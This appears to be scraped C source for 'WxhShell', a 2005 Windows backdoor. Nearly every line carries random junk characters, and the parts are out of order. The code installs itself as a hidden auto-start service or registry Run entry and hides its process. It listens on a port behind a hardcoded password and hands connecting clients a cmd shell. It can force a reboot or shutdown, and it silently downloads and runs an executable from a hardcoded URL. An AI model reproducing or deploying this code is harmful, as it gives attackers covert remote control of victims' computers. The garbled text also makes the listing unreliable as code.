    if(Boot(SHUTDOWN)) TKQ^D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J9MAnYd)i  
    else { (3~^zwA  
    closesocket(wsh); ICiGZ'k  
    ExitThread(0); gJ~CD1`O  
    } #r/5!*3  
    break; h_]*|[g  
    } s bd$.6 |&  
  // 获取shell djqw5kO:R  
  case 's': { [^W +^3V  
    CmdShell(wsh); G[6i\Et   
    closesocket(wsh); 7Ck3L6J#  
    ExitThread(0); KcUR /o5K  
    break; X]o"4#CQIX  
  } a?xZsR  
  // 退出 BwrX.!M  
  case 'x': { n5z|@I`S_  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); M2\c0^R  
    CloseIt(wsh); I E{:{b\  
    break; \}~71y}  
    } Wt=\hixj-  
  // 离开 |AT`(71  
  case 'q': { ;/t~MH  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); %w?C)$Kn\  
    closesocket(wsh); WZTAXOw  
    WSACleanup(); =sAU5Ag68  
    exit(1); Z*ag{N  
    break; r`\@Fv,&#  
        } fjy7gC2  
  } m41%?uC/  
  } TV#>x!5!d  
T Y% =Y=  
  // 提示信息 B3pjli  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _z J /z  
} _90<*{bt.  
  } `<kB/T  
O8cZl1C3  
  return; ANgt\8  
} P)#h4|xZ  
?^2nrh,n+  
// shell模块句柄 q!W=U8`  
int CmdShell(SOCKET sock) hC9EL= A  
{ 97qf3^gGd  
STARTUPINFO si; BMqr YW  
ZeroMemory(&si,sizeof(si)); 7t1as.  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /]U;7)  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (G/(w%#7_  
PROCESS_INFORMATION ProcessInfo; R>]7l!3^1  
char cmdline[]="cmd"; |sY  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); )0DgFA6k_  
  return 0; q#SEtyJL  
} T "hjL  
wph8ln"C-  
// 自身启动模式 ;mRZ_^V;  
int StartFromService(void) oe|8  
{ Xk/iyp/  
typedef struct ~y?Nn8+&f  
{ $VB dd~f  
  DWORD ExitStatus; dwQ1~  
  DWORD PebBaseAddress; )2#&l  
  DWORD AffinityMask; "LJV}L  
  DWORD BasePriority; SF9NS*mr  
  ULONG UniqueProcessId; 9X,iQ  
  ULONG InheritedFromUniqueProcessId; H=\Tse_.  
}   PROCESS_BASIC_INFORMATION; ~Uey'Xz  
ijUu{PG`X  
PROCNTQSIP NtQueryInformationProcess; tTF<DD}8  
<h;_:  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; {}rnn$HQe  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 5Zd oem  
FJ4,|x3v[x  
  HANDLE             hProcess; a+\<2NXYD  
  PROCESS_BASIC_INFORMATION pbi; 5 ba e-  
j S[#R_  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); fVf:voh  
  if(NULL == hInst ) return 0; Bs`{qmbC  
/qMnIo  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); TOF V`7q;3  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /]_|uN)Q  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); j"hEs(t  
S3i p?9  
  if (!NtQueryInformationProcess) return 0; #oFyi @U  
YM6 J:89  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4c95G^dZ  
  if(!hProcess) return 0; UCK;?]  
0[M2LF!m  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |Olz h63k:  
o ABrhK  
  CloseHandle(hProcess); _)~1'tCs}h  
qp/1 tC`  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); I>JE\## ^n  
if(hProcess==NULL) return 0; rsLkH&aM  
PH%'^YAl7  
HMODULE hMod; #ACT&J  
char procName[255]; sW'_K.z  
unsigned long cbNeeded; [7d(P EQL`  
*9uNM@7&0  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^_g%c&H  
!LM`2|3$  
  CloseHandle(hProcess); ~]QQaP  
L\UGC%]9  
if(strstr(procName,"services")) return 1; // 以服务启动 cm_5,wB(w  
&P>& T  
  return 0; // 注册表启动 !02y'JS1  
} hc[J,yG  
'|Bk}pl7  
// 主模块 ep?D;g  
int StartWxhshell(LPSTR lpCmdLine) U._fb=  
{ W]DGt|JP  
  SOCKET wsl; yg H)U.  
BOOL val=TRUE; /} z9(  
  int port=0; s]O Z+^Z  
  struct sockaddr_in door; tgl(*[T2  
oA@M =  
  if(wscfg.ws_autoins) Install(); y<w_>O  
uR{)%udu  
port=atoi(lpCmdLine); -gk2$P-  
TukhGgmF  
if(port<=0) port=wscfg.ws_port;  J]XLWAM  
CHZ/@gc  
  WSADATA data; <5}I6R;  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ygj%VG  
U~)5{  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   :9ia|lN  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); HR"clD\{Di  
  door.sin_family = AF_INET; yj#FO'UY  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ZS4dW_*[  
  door.sin_port = htons(port); yo->mD  
*$|f9jVh  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { DbLo{mFEIj  
closesocket(wsl); bGL}nPo  
return 1; J`)/\9'&&  
} +6$+] u]  
O8b#'f~  
  if(listen(wsl,2) == INVALID_SOCKET) { cW_wIy\]&  
closesocket(wsl); i%.k{MY  
return 1; bf+C=A)s0  
} ymqv@Byi8A  
  Wxhshell(wsl); %K')_NS@  
  WSACleanup(); #::+# G  
0)g]pG8&ro  
return 0; JDZuT#  
^67}&O^1 ,  
} l0`bseN <  
0m]QQGvJ{  
// 以NT服务方式启动 F~fBr  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) T9& {s-3*  
{ _s#]WyU1g  
DWORD   status = 0; )Sb-e(sl  
  DWORD   specificError = 0xfffffff; <mlN\BcX;  
l+>Y  
  serviceStatus.dwServiceType     = SERVICE_WIN32; !;h&@LXG(  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 2 G2+oS ?  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; \A01 1R&  
  serviceStatus.dwWin32ExitCode     = 0; VBPtM{ g  
  serviceStatus.dwServiceSpecificExitCode = 0;  f_n  
  serviceStatus.dwCheckPoint       = 0; ]r3/hDRDL@  
  serviceStatus.dwWaitHint       = 0; hZ452W  
K$,<<hl  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); mz%l4w?'  
  if (hServiceStatusHandle==0) return; }q]*aADe  
}A@:JR+|  
status = GetLastError(); U m\HX6  
  if (status!=NO_ERROR) @O'NJh{D`  
{ <!FcQVH+L  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 4)D~S4{E5  
    serviceStatus.dwCheckPoint       = 0; / 7\q#qIm:  
    serviceStatus.dwWaitHint       = 0; ]?H12xz  
    serviceStatus.dwWin32ExitCode     = status; jY%.t)>)  
    serviceStatus.dwServiceSpecificExitCode = specificError; Jh=.}FXnjL  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); )Cj1VjAg  
    return; p*42 @1,  
  } 4V4S5V  
BRM `/s  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; '_4apyq|  
  serviceStatus.dwCheckPoint       = 0; ,M?8s2?  
  serviceStatus.dwWaitHint       = 0; FCEmg0qdjD  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); -.? @f tY  
} $Z]@N nA9N  
!`H{jwH  
// 处理NT服务事件,比如:启动、停止 /"st sF  
VOID WINAPI NTServiceHandler(DWORD fdwControl) I50Ly sM  
{ ~Yg) 8  
switch(fdwControl) !9NF@e'&!  
{ A32Sdr'D  
case SERVICE_CONTROL_STOP: '+{yg+#/wV  
  serviceStatus.dwWin32ExitCode = 0; yp$jLBA  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; -hW>1s<  
  serviceStatus.dwCheckPoint   = 0; Xwo+iZ(a  
  serviceStatus.dwWaitHint     = 0; "Hz%0zP&  
  { $`W3`}#fM  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }"WovU{*s  
  } (_ :82@c  
  return; Zl&ED{k<  
case SERVICE_CONTROL_PAUSE: 2;"vF9WMm  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 8%u|[Si;  
  break; #z&R9$  
case SERVICE_CONTROL_CONTINUE: 6M7GPHah  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 0n6eWwY  
  break; R[l`# I  
case SERVICE_CONTROL_INTERROGATE: v5\ALWy+p  
  break; GB}\7a  
}; HAI) +J   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); % vy,A*  
} o96c`a u  
de2G"'F  
// 标准应用程序主函数 fi>.X99(G  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 7Ko*`-p  
{ 'D`lVUB  
qGV(p}$O  
// 获取操作系统版本 B,_K mHItd  
OsIsNt=GetOsVer(); +u=VO#IA#  
GetModuleFileName(NULL,ExeFile,MAX_PATH); d2i ?FT>  
dl8f]y#Q  
  // 从命令行安装 wT- -i@@  
  if(strpbrk(lpCmdLine,"iI")) Install(); r`<e<C  
k6z ]-XG  
  // 下载执行文件 qS! Lt3+  
if(wscfg.ws_downexe) { ~= c 5q  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) bws}'#-*  
  WinExec(wscfg.ws_filenam,SW_HIDE); zE1=P/N  
} QnBWZUI  
&F :.V$  
if(!OsIsNt) { ob/<;SrU<  
// 如果时win9x,隐藏进程并且设置为注册表启动 @.a59kP8X  
HideProc(); mD% qDKI  
StartWxhshell(lpCmdLine); C.#Ha-@uz  
} 3]9wfT%d  
else Hpz1Iy @  
  if(StartFromService()) ZG1TR F "  
  // 以服务方式启动 ^pu8\K;~  
  StartServiceCtrlDispatcher(DispatchTable); w<THPFFF"  
else P3W3+pwq  
  // 普通方式启动 $PRd'YdL/  
  StartWxhshell(lpCmdLine); Zy9IRZe4U  
/*fx`0mY)  
return 0; G)NqIur*Z  
} wAW{{ p  
8r"-3<*  
w/ZP. B  
r*mSnPz\q  
=========================================== H1q,w|O9j  
X,G"#j^  
jf1GYwuW*  
PE6,9i0ee  
/^jl||'H,:  
:oW 16m1`  
" XSN=0N!GB  
P8h|2,c%  
#include <stdio.h> JBHPI@Qt%  
#include <string.h> @>$qb|j  
#include <windows.h> cy? #LS  
#include <winsock2.h> =2( 52#pT  
#include <winsvc.h> GY@:[u.&  
#include <urlmon.h> ;AVIt!(L~V  
LU8[$.P  
#pragma comment (lib, "Ws2_32.lib") tMP"9JE,  
#pragma comment (lib, "urlmon.lib") Oh10X.)i  
-&1P2m/46  
#define MAX_USER   100 // 最大客户端连接数 ws QuJrG  
#define BUF_SOCK   200 // sock buffer x|d?'  
#define KEY_BUFF   255 // 输入 buffer PWp=}f.y  
7D>_<)%d=  
#define REBOOT     0   // 重启 9 5j`^M)Q  
#define SHUTDOWN   1   // 关机 Tr}XG  
ep},~tPZn  
#define DEF_PORT   5000 // 监听端口 u' kG(<0Y  
B0Z>di:  
#define REG_LEN     16   // 注册表键长度 wE<r'  
#define SVC_LEN     80   // NT服务名长度 [+W<;iep  
X-" +nThMn  
// 从dll定义API N}#"o  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); icIWv  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); C .B=E"e  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); x)eF{%QB  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); =a+  } 6  
;K>'Gl  
// wxhshell配置信息 H{i|?a)  
struct WSCFG { =~W=}  
  int ws_port;         // 监听端口 ci2Z_JA+  
  char ws_passstr[REG_LEN]; // 口令 tcl9:2/^]  
  int ws_autoins;       // 安装标记, 1=yes 0=no >L "+8N6  
  char ws_regname[REG_LEN]; // 注册表键名 Z 1wtOL  
  char ws_svcname[REG_LEN]; // 服务名 3Ur_?PM+C  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 j@+$lU*r  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 *]R5bj.!o  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 `Xeiz'~f8  
int ws_downexe;       // 下载执行标记, 1=yes 0=no =E!Y f#p+q  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" cl4 _M{~  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 (`#z@,1  
:t "_I  
}; mqsAYzG  
^[bFGKE  
// default Wxhshell configuration -O1$jBQ S  
struct WSCFG wscfg={DEF_PORT, ]n"RPktx  
    "xuhuanlingzhe", [742s]j  
    1, Nr*X1lJ6  
    "Wxhshell", w?8\9\ ;?  
    "Wxhshell", 2v@B7r4}  
            "WxhShell Service", ] `q]n  
    "Wrsky Windows CmdShell Service", kMLJa=]$  
    "Please Input Your Password: ", tEo-Mj5:  
  1, NMhpKno  
  "http://www.wrsky.com/wxhshell.exe", rx9y^E5T`;  
  "Wxhshell.exe" 2T?Y  
    }; T fIOS]  
[Pjitw/?  
// 消息定义模块 v#s*I/kw  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; z6B#F<h  
char *msg_ws_prompt="\n\r? for help\n\r#>"; -nHkO&&R  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; gzKMGL?%?  
char *msg_ws_ext="\n\rExit."; S!gzmkGcj  
char *msg_ws_end="\n\rQuit."; #M'V%^xP  
char *msg_ws_boot="\n\rReboot..."; zv;xxAX  
char *msg_ws_poff="\n\rShutdown..."; #+U1QOsz  
char *msg_ws_down="\n\rSave to "; 1$C?+H  
zv/dj04>  
char *msg_ws_err="\n\rErr!"; ?fC9)s  
char *msg_ws_ok="\n\rOK!"; d8 Jf3Mo  
Wuk8&P3  
char ExeFile[MAX_PATH]; 0m> 8  
int nUser = 0; *pnaj\  
HANDLE handles[MAX_USER]; Uz rf,I[  
int OsIsNt; 6L\]Ee  
zd!%7 UP  
SERVICE_STATUS       serviceStatus; EVaHb;  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; K*,,j\Q.  
),Yk53G6c  
// 函数声明 P?|\Ig1Gk  
int Install(void); ?mK&Slh.  
int Uninstall(void); 3pW4Ul@e  
int DownloadFile(char *sURL, SOCKET wsh); -Edy ~;_  
int Boot(int flag); &&LB0vH!J  
void HideProc(void); ir{ 4k  
int GetOsVer(void); H7Z`aQC  
int Wxhshell(SOCKET wsl); { 29aNm  
void TalkWithClient(void *cs); /#@tv~Z^  
int CmdShell(SOCKET sock); j[w=pF,o  
int StartFromService(void); -gt ?5H h  
int StartWxhshell(LPSTR lpCmdLine); ew dTsgt'  
L%\Wt1\[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); iOb7g@=  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 0#uB[N  
Qhc; Zl  
// 数据结构和表定义 _ gYj@ %  
SERVICE_TABLE_ENTRY DispatchTable[] = _Ds,91<muQ  
{ A! HJ  
{wscfg.ws_svcname, NTServiceMain}, Kj3Gm>B<y  
{NULL, NULL} Ac|dmu  
}; %t!S 7UD  
.o C! ~'  
// 自我安装 \~Z%}$ =  
int Install(void) T KAs@X,t  
{ ^^B_z|;Aa  
  char svExeFile[MAX_PATH]; ZPb30M0  
  HKEY key; m]fUV8U  
  strcpy(svExeFile,ExeFile); `\;Z&jlpT  
j} ^3v #  
// 如果是win9x系统,修改注册表设为自启动 M1#CB  
if(!OsIsNt) { cVxO\M  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <`; {gX1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); v_/<f&r  
  RegCloseKey(key); k_1@?&3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { lic-68T  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); HOPy&Fp  
  RegCloseKey(key); x@bqPZ t  
  return 0; oZ tCx  
    } whHuV*K}  
  } f>ktv76  
} n4+q7  
else { U{[YCs fk  
vZ srlHb  
// 如果是NT以上系统,安装为系统服务 } }~a4p>%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); n9J{f"`m  
if (schSCManager!=0) 4`:POu&  
{ wJq$yqos{  
  SC_HANDLE schService = CreateService Tt{z_gU6  
  ( </xf4.C  
  schSCManager, 9=T;Dxn  
  wscfg.ws_svcname, w4TQ4 Y  
  wscfg.ws_svcdisp, SvvNk  
  SERVICE_ALL_ACCESS, w <"mS*Q  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , &$_!S!Sa/  
  SERVICE_AUTO_START, +By'6?22  
  SERVICE_ERROR_NORMAL, <)(W7#Ks  
  svExeFile, i}v.x  
  NULL, oS9Od8  
  NULL, ~ @xPoD&  
  NULL, .n YlYY'   
  NULL, &V (6N%A^U  
  NULL vS0 ii  
  ); !-3;Qj}V  
  if (schService!=0) x`@`y7(  
  { $)o0{HsL+  
  CloseServiceHandle(schService); Mz2TwU_  
  CloseServiceHandle(schSCManager); JJbd h \  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >8OY6wb  
  strcat(svExeFile,wscfg.ws_svcname); 5.&)hmpg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { vGh>1U:  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 2/s42 FoG  
  RegCloseKey(key); Jkbeh.  
  return 0; 'plUs<A  
    } WR"1d\m:  
  } qA`@~\ qh"  
  CloseServiceHandle(schSCManager); GxG~J4  
} Tjrb.+cua  
} G&1bhi52  
"uIaKb  
return 1; c};%VB  
} Z/?{{}H+  
\( {'Xo >(  
// 自我卸载 U1) Zh-aR  
int Uninstall(void) (y.N-I,  
{ +BL46 Bq  
  HKEY key; X"_ ^^d-  
"zd_eC5  
if(!OsIsNt) { {en'8kS  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { HSRO gBNI:  
  RegDeleteValue(key,wscfg.ws_regname); HNBmq>XDc  
  RegCloseKey(key); -wg}X-'z0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5~IdWwG*w  
  RegDeleteValue(key,wscfg.ws_regname); m<>BxX  
  RegCloseKey(key); P,'%$DLDg  
  return 0; _\tv ${  
  } (,QWK08  
} !\BZ_guz  
} ]2)A/fOW  
else { .yXqa"p  
JOt(r}gU  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Y01! D"{\  
if (schSCManager!=0) ~).D\Q\  
{ Q35\wQ#  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +8N6tw/&  
  if (schService!=0) !^su=c  
  { =VuSi(d;e{  
  if(DeleteService(schService)!=0) { p5or"tK  
  CloseServiceHandle(schService); H#;*kc a4  
  CloseServiceHandle(schSCManager); GK'p$`oJm  
  return 0; LPJ7V` !k  
  } q: FhuOP  
  CloseServiceHandle(schService); FV "pJ  
  } 4FRi=d;mP  
  CloseServiceHandle(schSCManager); ~,1Sw7 rE  
} -X$EE$:  
} wxh\CBxG  
QtKcv7:4  
return 1; x$BNFb%I1  
} @g5y_G{SP  
]&Y^  
// 从指定url下载文件 5{V"!M+<  
int DownloadFile(char *sURL, SOCKET wsh) ;j1E6  
{ `<se&IZE  
  HRESULT hr; ~d]v{<3  
char seps[]= "/"; SU~.baP?  
char *token; ~i%=1&K&`  
char *file; QWfSm^ t  
char myURL[MAX_PATH]; {P~rf&Ee  
char myFILE[MAX_PATH]; >rEZ$h  
naf ~#==vc  
strcpy(myURL,sURL); ySO\9#Ho  
  token=strtok(myURL,seps); 9c)#j&2?H  
  while(token!=NULL) ;n(f?RO3X  
  { (wZ!OLY%}  
    file=token; qovsM M  
  token=strtok(NULL,seps); rn*'[i?  
  } U0j>u*yE  
qD>^aEd@4  
GetCurrentDirectory(MAX_PATH,myFILE); mXyP;k  
strcat(myFILE, "\\"); YWH>tt 9  
strcat(myFILE, file); ;NRh0)%|o  
  send(wsh,myFILE,strlen(myFILE),0); [C6ba{9 B  
send(wsh,"...",3,0); B1nm?E 0i  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); C&w0HoF  
  if(hr==S_OK) &F~d~;G"q  
return 0; o(jLirnk  
else \vT~2Y(K  
return 1; z&d.YO_W  
iVZ}+Ct<"  
} CipDeqau2  
t7F0[E'=5\  
// 系统电源模块 +X^GS^mz  
int Boot(int flag) W$zRUG-  
{ ~bb6NP;'L  
  HANDLE hToken; P5_Ajb(@'  
  TOKEN_PRIVILEGES tkp; { %X2K  
lF!PiL  
  if(OsIsNt) { @s-P!uCaT  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); "V]*ov&[  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); z f SE7i0  
    tkp.PrivilegeCount = 1; WC~;t4  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; OmWEa  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); f't.?M  
if(flag==REBOOT) { K)Lo Z^x0)  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) mv8H:T  
  return 0; `X@\Zv=}  
} d|NW&PG  
else { Pqya%j  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) N { oVz],  
  return 0; 0@zJa;z'  
} ?(=|!`IoO  
  } :gwmk9LZ  
  else { oa"Bpi9i  
if(flag==REBOOT) { ?tjEXg>ny  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) z U[pn)pe  
  return 0; -@w,tbc$  
} Zio! j%G  
else { #2_FM!e  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 06.%9R{  
  return 0; Cb{D[  
} m6e(Xk,)  
} O pu*i  
M,H8ZO:R  
return 1; ESV./~K  
} ,nteIR'??  
}5vKQf   
// win9x进程隐藏模块 4%r?(C0x  
void HideProc(void) vm+3!s:u  
{ C<^i`[&P$  
mnM]@8^G  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); )?[7}(4jI  
  if ( hKernel != NULL ) j? BL8E'   
  { Q*#Lr4cm{  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ON\bD?(VY  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); $EFS_*<X  
    FreeLibrary(hKernel); ek]JzD~w$  
  } #h=V@Dh  
I20~bW  
return; 1M??@@X  
} ;F @Sz/  
Gxe)5,G  
// 获取操作系统版本 :.g/=Q(T~  
int GetOsVer(void) !u]@Ru34  
{ |=IJ^y(x|  
  OSVERSIONINFO winfo; y+iRZ%V^  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 75Z|meG~  
  GetVersionEx(&winfo); F(`|-E"E;  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) np^&cY]  
  return 1; b_ ZvI\H  
  else |"LHo  H  
  return 0; fU$Jh/#":  
} P I"KY@>H  
ZUHW*U.  
// 客户端句柄模块 zS;ruK%2  
int Wxhshell(SOCKET wsl) k)>H=?mI  
{ Ql5bjlQdO  
  SOCKET wsh; o i'iZX  
  struct sockaddr_in client; 1r> ]XhRFZ  
  DWORD myID; ~fkcal1@  
q#AEu xI1  
  while(nUser<MAX_USER) M(+Pd_c6  
{ 8+w*,Ry`  
  int nSize=sizeof(client); a+LK~mC*  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ,HDhP  
  if(wsh==INVALID_SOCKET) return 1; ASy?^Jrs5  
7(o`>7x*  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); FA,n>  
if(handles[nUser]==0) o$L%t@   
  closesocket(wsh); |E6_TZ#=  
else e: Sd#H!  
  nUser++; JR `$t~0t  
  } dnD@BQ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); >|%3j,<U  
[6l0|Y  
  return 0; F;#$Q  
} Gz{%Z$A~o  
kB@gy}  
// 关闭 socket Lm}.+.O~d  
void CloseIt(SOCKET wsh) ?=Ceo#Er  
{ AAa7)^R  
closesocket(wsh); vcQl0+&  
nUser--; y_L8i[  
ExitThread(0); ^9,^ BHlC0  
} 7 w,D2T  
fe yc  
// 客户端请求句柄 o A2oX  
void TalkWithClient(void *cs) )e0kr46  
{ P@UE.0NYX  
~ `}),aA  
  SOCKET wsh=(SOCKET)cs; <MJU:m $3  
  char pwd[SVC_LEN]; vai w*?jV  
  char cmd[KEY_BUFF]; NL:-3W7vf  
char chr[1]; e4=FO;%  
int i,j; xRc+3Z= N  
!o`7$`%Wz\  
  while (nUser < MAX_USER) { (^iF)z  
[r"Oi| 8I  
if(wscfg.ws_passstr) { 3\}u#/Vb  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )lLeL#]FLO  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V. i{IW  
  //ZeroMemory(pwd,KEY_BUFF); &X:;B'   
      i=0; =M-=94  
  while(i<SVC_LEN) { F&!vtlV)  
]CLM'$  
  // 设置超时 DQK?y=vf  
  fd_set FdRead; AjEy@ /  
  struct timeval TimeOut; 5B)&;[  
  FD_ZERO(&FdRead); 4Lg ,J9  
  FD_SET(wsh,&FdRead); =cV|o]  
  TimeOut.tv_sec=8; r}qDvC D  
  TimeOut.tv_usec=0; u3qx G3  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); g|uyQhsg  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); s.7=!JQ#]p  
N,lr~ 6)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); nxhlTf>3  
  pwd=chr[0]; M`al~9  
  if(chr[0]==0xd || chr[0]==0xa) { &1<[@:;  
  pwd=0; (rhlK} C  
  break; *7H *epUa  
  } V5$ Gb6?K  
  i++; zx<PX  
    } rkji#\_-FV  
"XxmiK  
  // 如果是非法用户,关闭 socket ^cNuEF9  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); rM.Pc?Z  
} >ymn&_zlT  
34Gu @"  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^z!=,M<+{  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); BA1H)%  
# &)H&H}  
while(1) { pW.WJ`Rk  
octQ[QXo#  
  ZeroMemory(cmd,KEY_BUFF); 7~+Fec`Ut*  
.F$}a%  
      // 自动支持客户端 telnet标准   U9T}iI  
  j=0;  'V^M+ng  
  while(j<KEY_BUFF) { tf7HhOCYX  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \E,2VM@6  
  cmd[j]=chr[0]; ?=4oxPe  
  if(chr[0]==0xa || chr[0]==0xd) { =YVxQj  
  cmd[j]=0; !HU$V9C  
  break; !;8Y?c-D  
  } '8zd]U  
  j++; 7+f6?  
    } [err$  
x&DqTX?b,  
  // 下载文件 d #1& "(   
  if(strstr(cmd,"http://")) { >)C7IQ/  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); PcA^ jBgGl  
  if(DownloadFile(cmd,wsh)) EpG9t9S9  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8/j|=Q,5  
  else ` Ny(S2  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #*pB"L  
  } AJ>E\DK0]  
  else { 75p9_)>96  
_!zc <&~I  
